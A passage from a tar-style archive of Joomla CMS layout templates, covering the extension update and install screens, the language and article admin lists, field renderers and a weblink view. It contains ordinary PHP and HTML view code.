                                            <?php $url = 'index.php?option=com_installer&task=updatesite.edit&update_site_id=' . (int) $item->update_site_id; ?>
                                            <a class="btn btn-danger btn-sm text-decoration-none" href="<?php echo Route::_($url); ?>"><?php echo Text::_('COM_INSTALLER_DOWNLOADKEY_MISSING_LABEL'); ?></a>
                                        <?php endif; ?>
                                    </th>
                                    <td class="d-none d-md-table-cell">
                                        <?php echo $item->client_translated; ?>
                                    </td>
                                    <td class="d-none d-md-table-cell">
                                        <?php echo $item->type_translated; ?>
                                    </td>
                                    <td>
                                        <span class="badge bg-warning text-dark"><?php echo $item->current_version; ?></span>
                                    </td>
                                    <td>
                                        <span class="badge bg-success"><?php echo $item->version; ?></span>
                                    </td>
                                    <td class="d-none d-md-table-cell text-center">
                                        <?php if (!empty($item->changelogurl)) : ?>
                                        <a href="#changelogModal<?php echo $item->extension_id; ?>" class="btn btn-info btn-sm changelogModal" data-js-extensionid="<?php echo $item->extension_id; ?>" data-js-view="update" data-bs-toggle="modal">
                                            <?php echo Text::_('COM_INSTALLER_CHANGELOG'); ?>
                                        </a>
                                            <?php
                                            echo HTMLHelper::_(
                                                'bootstrap.renderModal',
                                                'changelogModal' . $item->extension_id,
                                                [
                                                'title' => Text::sprintf('COM_INSTALLER_CHANGELOG_TITLE', $item->name, $item->version),
                                                ],
                                                ''
                                            );
                                            ?>
                                        <?php else :?>
                                        <span>
                                            <?php echo Text::_('COM_INSTALLER_TYPE_NONAPPLICABLE')?>
                                        </span>

                                        <?php endif; ?>
                                    </td>
                                    <td class="d-none d-md-table-cell">
                                        <?php echo $item->folder_translated; ?>
                                    </td>
                                    <td class="d-none d-md-table-cell">
                                        <?php echo $item->install_type; ?>
                                    </td>
                                </tr>
                            <?php endforeach; ?>
                            </tbody>
                        </table>

                        <?php // load the pagination. ?>
                        <?php echo $this->pagination->getListFooter(); ?>

                    <?php endif; ?>
                    <input type="hidden" name="task" value="">
                    <input type="hidden" name="boxchecked" value="0">
                    <?php echo HTMLHelper::_('form.token'); ?>
                </div>
            </div>
        </div>
    </form>
</div>
update/emptystate.php000064400000001745151726570440010760 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Session\Session;

$displayData = [
    'textPrefix' => 'COM_INSTALLER',
    'formURL'    => 'index.php?option=com_installer&view=update',
    'helpURL'    => 'https://docs.joomla.org/Special:MyLanguage/Help4.x:Extensions:_Update',
    'icon'       => 'icon-puzzle-piece install',
];

$user = Factory::getApplication()->getIdentity();

if ($user->authorise('core.create', 'com_content') || count($user->getAuthorisedCategories('com_content', 'core.create')) > 0) {
    $displayData['createURL'] = 'index.php?option=com_installer&task=update.find&' . Session::getFormToken() . '=1';
}

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
install/default.php000064400000005727151726570440010375 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_installer
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

// Load JavaScript message titles
Text::script('ERROR');
Text::script('WARNING');
Text::script('NOTICE');
Text::script('MESSAGE');

Text::script('COM_INSTALLER_MSG_INSTALL_ENTER_A_URL');

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('core')
    ->usePreset('com_installer.installer')
    ->useScript('webcomponent.core-loader');

$app  = Factory::getApplication();
$tabs = $app->triggerEvent('onInstallerAddInstallationTab', []);

?>
<div id="installer-install" class="clearfix">

    <form enctype="multipart/form-data" action="<?php echo Route::_('index.php?option=com_installer&view=install'); ?>" method="post" name="adminForm" id="adminForm">
        <?php // Render messages set by extension install scripts here ?>
        <?php if ($this->showMessage) : ?>
            <?php echo $this->loadTemplate('message'); ?>
        <?php endif; ?>

        <div class="row">
            <div class="col-md-12">
                <div id="j-main-container" class="j-main-container main-card">
                    <?php if (!$tabs) : ?>
                        <div class="alert alert-warning">
                            <span class="icon-exclamation-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('WARNING'); ?></span>
                            <?php echo Text::_('COM_INSTALLER_NO_INSTALLATION_PLUGINS_FOUND'); ?>
                        </div>
                    <?php endif; ?>

                    <?php if ($tabs) : ?>
                        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => $tabs[0]['name'] ?? '', 'recall' => true, 'breakpoint' => 768]); ?>
                        <?php // Show installation tabs ?>
                        <?php foreach ($tabs as $tab) : ?>
                            <?php echo HTMLHelper::_('uitab.addTab', 'myTab', $tab['name'], $tab['label']); ?>
                            <fieldset class="uploadform option-fieldset options-form">
                                <?php echo $tab['content']; ?>
                            </fieldset>
                            <?php echo HTMLHelper::_('uitab.endTab'); ?>
                        <?php endforeach; ?>

                        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>
                    <?php endif; ?>

                    <input type="hidden" name="installtype" value="">
                    <input type="hidden" name="task" value="install.install">
                    <?php echo HTMLHelper::_('form.token'); ?>
                </div>
            </div>
        </div>
    </form>
</div>
<div id="loading"></div>
install/default.xml000064400000000324151726570440010372 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_INSTALLER_INSTALL_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_INSTALLER_INSTALL_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
languages/default.php000064400000025121151726570440010663 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$user      = Factory::getUser();
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$saveOrder = $listOrder == 'a.ordering';

if ($saveOrder && !empty($this->items)) {
    $saveOrderingUrl = 'index.php?option=com_languages&task=languages.saveOrderAjax&tmpl=component&' . Session::getFormToken() . '=1';
    HTMLHelper::_('draggablelist.draggable');
}

?>
<form action="<?php echo Route::_('index.php?option=com_languages&view=languages'); ?>" method="post" name="adminForm" id="adminForm">
    <div class="row">
        <div class="col-md-12">
            <div id="j-main-container" class="j-main-container">
                <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>
                <?php if (empty($this->items)) : ?>
                    <div class="alert alert-info">
                        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                        <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                    </div>
                <?php else : ?>
                    <table class="table" id="languageList">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_LANGUAGES_CONTENT_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                        <thead>
                            <tr>
                                <td class="w-1 text-center">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col" class="w-1 text-center d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-sort'); ?>
                                </th>
                                <th scope="col" class="w-1 text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="title">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="title d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_LANGUAGES_HEADING_TITLE_NATIVE', 'a.title_native', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_LANGUAGES_HEADING_LANG_TAG', 'a.lang_code', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_LANGUAGES_HEADING_LANG_CODE', 'a.sef', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_LANGUAGES_HEADING_LANG_IMAGE', 'a.image', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'a.access', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_LANGUAGES_HEADING_HOMEPAGE', 'l.home', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-5 d-none d-md-table-cell text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.lang_id', $listDirn, $listOrder); ?>
                                </th>
                            </tr>
                        </thead>
                        <tbody<?php if ($saveOrder) :
                            ?> class="js-draggable" data-url="<?php echo $saveOrderingUrl; ?>" data-direction="<?php echo strtolower($listDirn); ?>"<?php
                              endif; ?>>
                        <?php
                        foreach ($this->items as $i => $item) :
                            $canCreate = $user->authorise('core.create', 'com_languages');
                            $canEdit   = $user->authorise('core.edit', 'com_languages');
                            $canChange = $user->authorise('core.edit.state', 'com_languages');
                            ?>
                            <tr class="row<?php echo $i % 2; ?>">
                                <td>
                                    <?php echo HTMLHelper::_('grid.id', $i, $item->lang_id, false, 'cid', 'cb', $item->title); ?>
                                </td>
                                <td class="text-center d-none d-md-table-cell">
                                    <?php if ($canChange) :
                                        $disableClassName = '';
                                        $disabledLabel    = '';

                                        if (!$saveOrder) :
                                            $disabledLabel    = Text::_('JORDERINGDISABLED');
                                            $disableClassName = 'inactive';
                                        endif; ?>
                                        <span class="sortable-handler <?php echo $disableClassName; ?>" title="<?php echo $disabledLabel; ?>">
                                            <span class="icon-ellipsis-v" aria-hidden="true"></span>
                                        </span>
                                        <input type="text" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order hidden">
                                    <?php else : ?>
                                        <span class="sortable-handler inactive">
                                            <span class="icon-ellipsis-v" aria-hidden="true"></span>
                                        </span>
                                    <?php endif; ?>
                                </td>
                                <td class="text-center">
                                    <?php echo HTMLHelper::_('jgrid.published', $item->published, $i, 'languages.', $canChange); ?>
                                </td>
                                <th scope="row">
                                    <?php if ($canEdit) : ?>
                                        <a href="<?php echo Route::_('index.php?option=com_languages&task=language.edit&lang_id=' . (int) $item->lang_id); ?>" title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape($item->title); ?>">
                                            <?php echo $this->escape($item->title); ?></a>
                                    <?php else : ?>
                                        <?php echo $this->escape($item->title); ?>
                                    <?php endif; ?>
                                </th>
                                <td class="d-none d-md-table-cell">
                                    <?php echo $this->escape($item->title_native); ?>
                                </td>
                                <td class="d-none d-md-table-cell text-center">
                                    <?php echo $this->escape($item->lang_code); ?>
                                </td>
                                <td class="d-none d-md-table-cell text-center">
                                    <?php echo $this->escape($item->sef); ?>
                                </td>
                                <td class="d-none d-md-table-cell">
                                    <?php if ($item->image) : ?>
                                        <?php echo HTMLHelper::_('image', 'mod_languages/' . $item->image . '.gif', $item->image, ['class' => 'me-1'], true); ?><?php echo $this->escape($item->image); ?>
                                    <?php else : ?>
                                        <?php echo Text::_('JNONE'); ?>
                                    <?php endif; ?>
                                </td>
                                <td class="d-none d-md-table-cell text-center">
                                    <?php echo $this->escape($item->access_level); ?>
                                </td>
                                <td class="d-none d-md-table-cell text-center">
                                    <?php echo ($item->home == '1') ? Text::_('JYES') : Text::_('JNO'); ?>
                                </td>
                                <td class="d-none d-md-table-cell text-center">
                                    <?php echo $this->escape($item->lang_id); ?>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                        </tbody>
                    </table>

                    <?php // load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                <?php endif; ?>
                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
</form>
languages/default.xml000064400000000330151726570440010667 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_LANGUAGES_LANGUAGES_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_LANGUAGES_LANGUAGES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
calendar.php000064400000001156151727044040007035 0ustar00<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Calendar
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

$value = $field->value;

if ($value == '') {
    return;
}

if (is_array($value)) {
    $value = implode(', ', $value);
}

$formatString =  $field->fieldparams->get('showtime', 0) ? 'DATE_FORMAT_LC5' : 'DATE_FORMAT_LC4';

echo htmlentities(HTMLHelper::_('date', $value, Text::_($formatString)));
checkboxes.php000064400000001237151727123050007401 0ustar00<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Checkboxes
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

$fieldValue = $field->value;

if ($fieldValue === '' || $fieldValue === null) {
    return;
}

$fieldValue = (array) $fieldValue;
$texts      = [];
$options    = $this->getOptionsFromField($field);

foreach ($options as $value => $name) {
    if (in_array((string) $value, $fieldValue)) {
        $texts[] = Text::_($name);
    }
}

echo htmlentities(implode(', ', $texts));
weblink/default.xml000064400000001163151727123540010355 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_WEBLINKS_WEBLINK_VIEW_DEFAULT_TITLE" option="COM_WEBLINKS_WEBLINK_VIEW_DEFAULT_OPTION">
		<message>
			<![CDATA[COM_WEBLINKS_WEBLINK_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<fields name="request">
		<fieldset
			name="request"
			addfieldprefix="Joomla\Component\Weblinks\Administrator\Field"
		>

			<field name="id"
				type="modal_weblink"
				label="COM_WEBLINKS_FIELD_SELECT_WEBLINK_LABEL"
				required="true"
				select="true"
				new="true"
				edit="true"
				clear="true"
			/>
		</fieldset>
	</fields>
</metadata>
weblink/default.php000064400000012522151727123540010345 0ustar00<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_weblinks
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\String\PunycodeHelper;

$weblinkUrl = PunycodeHelper::urlToUTF8($this->item->url);
$user      = Factory::getApplication()->getIdentity();
$canEdit = $user->authorise('core.edit', 'com_weblinks.category.' . $this->item->catid);
if (!$canEdit) {
    $canEditOwn = $user->authorise('core.edit.own', 'com_weblinks.category.' . $this->item->catid);
    $canEdit    = $canEditOwn && $this->item->created_by == $user->id;
}
?>
<div class="item-page">
    <meta itemprop="inLanguage" content="<?php echo ($this->item->language === '*') ? Factory::getApplication()->get('language') : $this->item->language; ?>" />
  <div class="page-header">
      <h2 itemprop="headline">
            <?php echo $this->escape($this->item->title); ?>
      </h2>
  </div>
    <?php if ($canEdit) :
        ?>
        <div class="icons">
            <div class="float-end">
                <div>
                    <?php echo HTMLHelper::_('weblinkicon.edit', $this->item, $this->item->params); ?>
               </div>
         </div>
     </div>
        <?php
    endif; ?>

    <?php // Content is generated by content plugin event "onContentAfterTitle" ?>
    <?php echo $this->item->event->afterDisplayTitle; ?>

    <?php // Content is generated by content plugin event "onContentBeforeDisplay" ?>
    <?php echo $this->item->event->beforeDisplayContent; ?>

    <div itemprop="articleBody">
       <div class="p-3">
            <a href="<?php echo $weblinkUrl; ?>" target="_blank" itemprop="url">
                <?php echo $weblinkUrl; ?>
          </a>
       </div>

        <?php if ($this->params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) :
            ?>
          <div class="p-2">
                <?php echo LayoutHelper::render('joomla.content.tags', $this->item->tags->itemTags); ?>
          </div>
            <?php
        endif; ?>

        <div class="p-3">
            <?php $images = json_decode($this->item->images); ?>
            <?php if (!empty($images->image_first)) :
                ?>
                <?php $imgFloat = '';?>
                <?php if (!empty($images->float_first)) :
                    ?>
                    <?php $imgFloat = $images->float_first == 'right' ? 'float-end' : 'float-start'; ?>
                    <?php
                endif; ?>
                <?php $img      = HTMLHelper::cleanImageURL($images->image_first); ?>
                <?php $alt      = empty($images->image_first_alt) && empty($images->image_first_alt_empty)
                    ? ''
                    : 'alt="' . htmlspecialchars($images->image_first_alt, ENT_COMPAT, 'UTF-8') . '"'; ?>
                <figure class="item-image <?php echo $imgFloat; ?>">
                    <img src="<?php echo htmlspecialchars($img->url, ENT_COMPAT, 'UTF-8'); ?>"
                            <?php echo $alt; ?> itemprop="thumbnail" />
                    <?php if (!empty($images->image_first_caption)) :
                        ?>
                        <figcaption class="caption"><?php echo htmlspecialchars($images->image_first_caption, ENT_COMPAT, 'UTF-8'); ?></figcaption>
                        <?php
                    endif; ?>
              </figure>
                <?php
            endif; ?>

            <?php  if (!empty($images->image_second)) :
                ?>
                <?php $imgFloat = ''; ?>
                <?php if (!empty($images->float_second)) :
                    ?>
                    <?php $imgFloat = $images->float_second == 'right' ? 'float-end' : 'float-start'; ?>
                    <?php
                endif; ?>
                <?php $img      = HTMLHelper::cleanImageURL($images->image_second); ?>
                <?php $alt      = empty($images->image_second_alt) && empty($images->image_second_alt_empty)
                    ? ''
                    : 'alt="' . htmlspecialchars($images->image_second_alt, ENT_COMPAT, 'UTF-8') . '"'; ?>
                <figure class="item-image <?php echo $imgFloat; ?>">
                    <img src="<?php echo htmlspecialchars($img->url, ENT_COMPAT, 'UTF-8'); ?>"
                            <?php echo $alt; ?> itemprop="thumbnail" />
                    <?php if (!empty($images->image_second_caption)) :
                        ?>
                        <figcaption class="caption"><?php echo htmlspecialchars($images->image_second_caption, ENT_COMPAT, 'UTF-8'); ?></figcaption>
                        <?php
                    endif; ?>
               </figure>
                <?php
            endif; ?>

            <?php  if (!empty($this->item->description)) :
                ?>
                <?php echo $this->item->description; ?>
                <?php
            endif; ?>

      </div>

    </div>
    <?php // Content is generated by content plugin event "onContentAfterDisplay" ?>
    <?php echo $this->item->event->afterDisplayContent; ?>
</div>
media.php000064400000001303151727124220006334 0ustar00<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Media
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Layout\LayoutHelper;

if (empty($field->value) || empty($field->value['imagefile'])) {
    return;
}

$class   = $fieldParams->get('image_class');
$options = [
    'src' => $field->value['imagefile'],
    'alt' => empty($field->value['alt_text']) && empty($field->value['alt_empty']) ? false : $field->value['alt_text'],
];

if ($class) {
    $options['class'] = $class;
}

echo LayoutHelper::render('joomla.html.image', $options);
articles/default_batch_body.php000064400000003660151727242140012677 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Layout\LayoutHelper;

$params = ComponentHelper::getParams('com_content');

$published = (int) $this->state->get('filter.published');

$user = Factory::getUser();
?>

<div class="p-3">
    <div class="row">
        <?php if (Multilanguage::isEnabled()) : ?>
            <div class="form-group col-md-6">
                <div class="controls">
                    <?php echo LayoutHelper::render('joomla.html.batch.language', []); ?>
                </div>
            </div>
        <?php endif; ?>
        <div class="form-group col-md-6">
            <div class="controls">
                <?php echo LayoutHelper::render('joomla.html.batch.access', []); ?>
            </div>
        </div>
    </div>
    <div class="row">
        <?php if ($published >= 0) : ?>
        <div class="form-group col-md-6">
            <div class="controls">
                <?php echo LayoutHelper::render('joomla.html.batch.item', ['extension' => 'com_content']); ?>
            </div>
        </div>
        <?php endif; ?>
        <div class="form-group col-md-6">
            <div class="controls">
                <?php echo LayoutHelper::render('joomla.html.batch.tag', []); ?>
            </div>
        </div>
        <?php if ($user->authorise('core.admin', 'com_content') && $params->get('workflow_enabled')) : ?>
        <div class="form-group col-md-6">
            <div class="controls">
                <?php echo LayoutHelper::render('joomla.html.batch.workflowstage', ['extension' => 'com_content']); ?>
            </div>
        </div>
        <?php endif; ?>
    </div>
</div>
articles/default.xml000064400000004364151727242140010534 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_CONTENT_ARTICLES_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_CONTENT_ARTICLES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
		<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset
			name="request"
			addfieldprefix="Joomla\Component\Categories\Administrator\Field"
			>
			<field
				name="filter_category_id"
				type="modal_category"
				label="COM_MENUS_ADMIN_CATEGORY_LABEL"
				extension="com_content"
				select="true"
				new="true"
				edit="true"
				clear="true"
				filter="integer"
			/>

			<field
				name="filter_level"
				type="integer"
				label="COM_MENUS_ADMIN_LEVEL_LABEL"
				first="1"
				last="10"
				step="1"
				languages="*"
				filter="integer"
				>
				<option value="">JOPTION_SELECT_MAX_LEVELS</option>
			</field>

			<field
				name="filter_author_id"
				type="author"
				label="COM_MENUS_ADMIN_AUTHOR_LABEL"
				multiple="true"
				layout="joomla.form.field.list-fancy-select"
				class="multipleAuthors"
				filter="array"
				>
				<option value="0">JNONE</option>
				<option value="by_me">COM_CONTENT_FILTER_AUTHORS_BY_ME</option>
			</field>

			<field
				name="filter_tag"
				type="tag"
				label="COM_MENUS_ADMIN_TAGS_LABEL"
				multiple="true"
				filter="intarray"
				mode="nested"
			/>

			<field
				name="filter_access"
				type="accesslevel"
				label="COM_MENUS_ADMIN_ACCESS_LABEL"
				multiple="true"
				layout="joomla.form.field.list-fancy-select"
				filter="intarray"
				validate="options"
			/>

			<field
				name="filter_language"
				type="contentlanguage"
				label="COM_MENUS_ADMIN_LANGUAGE_LABEL"
				>
				<option value="">JOPTION_SELECT_LANGUAGE</option>
				<option value="*">JALL</option>
			</field>

		</fieldset>
	</fields>
	<fields name="params">
		<fieldset name="basic">

			<field
				name="menu-quicktask"
				type="radio"
				label="MOD_MENU_FIELD_SHOWNEW"
				layout="joomla.form.field.radio.switcher"
				>
				<option value="">JHIDE</option>
				<option value="index.php?option=com_content&amp;task=article.add">JSHOW</option>
			</field>

			<field
				name="menu-quicktask-title"
				type="hidden"
				default="COM_CONTENT_MENUS_NEW_ARTICLE"
			/>

		</fieldset>
	</fields>
</metadata>
articles/default.php000064400000063315151727242140010524 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Button\FeaturedButton;
use Joomla\CMS\Button\PublishedButton;
use Joomla\CMS\Button\TransitionButton;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Session\Session;
use Joomla\Component\Content\Administrator\Helper\ContentHelper;
use Joomla\Utilities\ArrayHelper;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$app       = Factory::getApplication();
$user      = Factory::getUser();
$userId    = $user->get('id');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$saveOrder = $listOrder == 'a.ordering';

if (strpos($listOrder, 'publish_up') !== false) {
    $orderingColumn = 'publish_up';
} elseif (strpos($listOrder, 'publish_down') !== false) {
    $orderingColumn = 'publish_down';
} elseif (strpos($listOrder, 'modified') !== false) {
    $orderingColumn = 'modified';
} else {
    $orderingColumn = 'created';
}

if ($saveOrder && !empty($this->items)) {
    $saveOrderingUrl = 'index.php?option=com_content&task=articles.saveOrderAjax&tmpl=component&' . Session::getFormToken() . '=1';
    HTMLHelper::_('draggablelist.draggable');
}

$workflow_enabled  = ComponentHelper::getParams('com_content')->get('workflow_enabled');
$workflow_state    = false;
$workflow_featured = false;

if ($workflow_enabled) :
    $wa->getRegistry()->addExtensionRegistryFile('com_workflow');
    $wa->useScript('com_workflow.admin-items-workflow-buttons')
    ->useScript('com_content.articles-status');

    $workflow_state    = Factory::getApplication()->bootComponent('com_content')->isFunctionalityUsed('core.state', 'com_content.article');
    $workflow_featured = Factory::getApplication()->bootComponent('com_content')->isFunctionalityUsed('core.featured', 'com_content.article');
endif;

$assoc = Associations::isEnabled();
?>

<form action="<?php echo Route::_('index.php?option=com_content&view=articles'); ?>" method="post" name="adminForm" id="adminForm">
    <div class="row">
        <div class="col-md-12">
            <div id="j-main-container" class="j-main-container">
                <?php
                // Search tools bar
                echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]);
                ?>
                <?php if (empty($this->items)) : ?>
                    <div class="alert alert-info">
                        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                        <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                    </div>
                <?php else : ?>
                    <table class="table itemList" id="articleList">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_CONTENT_ARTICLES_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                        <thead>
                            <tr>
                                <td class="w-1 text-center">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col" class="w-1 text-center d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-sort'); ?>
                                </th>
                                <?php if ($workflow_enabled) : ?>
                                <th scope="col" class="w-1 text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JSTAGE', 'ws.title', $listDirn, $listOrder); ?>
                                </th>
                                <?php endif; ?>
                                <th scope="col" class="w-1 text-center d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JFEATURED', 'a.featured', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-1 text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" style="min-width:100px">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'a.access', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JAUTHOR', 'a.created_by', $listDirn, $listOrder); ?>
                                </th>
                                <?php if ($assoc) : ?>
                                    <th scope="col" class="w-5 d-none d-md-table-cell">
                                        <?php echo HTMLHelper::_('searchtools.sort', 'COM_CONTENT_HEADING_ASSOCIATION', 'association', $listDirn, $listOrder); ?>
                                    </th>
                                <?php endif; ?>
                                <?php if (Multilanguage::isEnabled()) : ?>
                                    <th scope="col" class="w-10 d-none d-md-table-cell">
                                        <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'language', $listDirn, $listOrder); ?>
                                    </th>
                                <?php endif; ?>
                                <th scope="col" class="w-10 d-none d-md-table-cell text-center">
